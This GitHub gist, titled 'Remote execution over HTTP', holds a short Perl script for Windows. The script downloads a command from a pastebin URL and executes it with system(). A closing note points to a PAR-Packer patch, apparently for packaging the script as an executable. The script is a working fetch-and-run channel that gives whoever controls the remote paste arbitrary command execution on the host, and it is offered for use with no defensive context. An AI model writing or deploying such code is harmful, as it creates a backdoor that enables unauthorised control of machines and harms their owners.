Skip to content

Instantly share code, notes, and snippets.

@jreisinger
Last active December 19, 2015 01:19
Show Gist options
  • Save jreisinger/5874789 to your computer and use it in GitHub Desktop.
Save jreisinger/5874789 to your computer and use it in GitHub Desktop.
Remote execution over HTTP
#!/usr/bin/perl
use strict;
use warnings;
use Win32::Internet;
my $url = "http://pastebin.com/raw.php?i=xK7vweJ1";
my $INET = new Win32::Internet();
my $cmd = $INET->FetchURL($url);
system $cmd;
__END__
- To fix the cygwin bug: http://cygwin-ports.git.sourceforge.net/git/gitweb.cgi?p=cygwin-ports/perl-PAR-Packer;a=blob;f=1.013-cygwin.patch;h=5934dae;hb=HEAD
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment